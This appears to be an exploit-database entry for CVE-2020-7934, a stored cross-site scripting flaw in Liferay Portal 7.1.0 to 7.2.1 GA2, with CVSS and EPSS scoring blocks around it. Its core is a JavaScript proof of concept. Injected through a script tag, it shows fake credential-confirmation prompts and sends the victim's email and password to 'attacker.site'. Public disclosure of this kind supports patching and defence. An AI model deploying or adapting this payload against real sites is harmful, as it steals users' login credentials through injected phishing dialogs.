CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
AI Score
Confidence
High
EPSS
Percentile
49.3%
# Exploit Title: LifeRay 7.2.1 GA2 - Stored XSS
# Date: 10/05/2020
# Exploit Author: 3ndG4me
# Vendor Homepage: https://www.liferay.com/
# Software Link: https://www.liferay.com/
# Version: 7.1.0 -> 7.2.1 GA2 (REQUIRED)
# Tested on: Debian Linux
# CVE : CVE-2020-7934
# Public Exploit/Whitepaper: https://github.com/3ndG4me/liferay-xss-7.2.1GA2-poc-report-CVE-2020-7934
# NOTE: The attached proof of concept is a javascript payload,
submitted as a ".txt" file to attach via email as ".js" is often
blocked.
// CVE-2020-7934 Cred Phishing Example Attack
// Author: 3ndG4me
// Github: https://github.com/3ndG4me/liferay-xss-7.2.1GA2-poc-report-CVE-2020-7934
// Host this payload with your site and paste in this script tag into a vulnerable field with your URL replaced where relevant:
// <SCRIPT SRC="//attacker.site/cve-2020-7934.js">
var email = prompt("To process this search we need you to confirm your credentials.\n\nPlease confirm your email:", "");
var password = prompt("To process this search we need you to confirm your credentials.\n\nPlease confirm your password:", "");
console.log(email);
console.log(password);
var url = "http://attacker.site/" + email + ":" + password;
$.get(url);
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
AI Score
Confidence
High
EPSS
Percentile
49.3%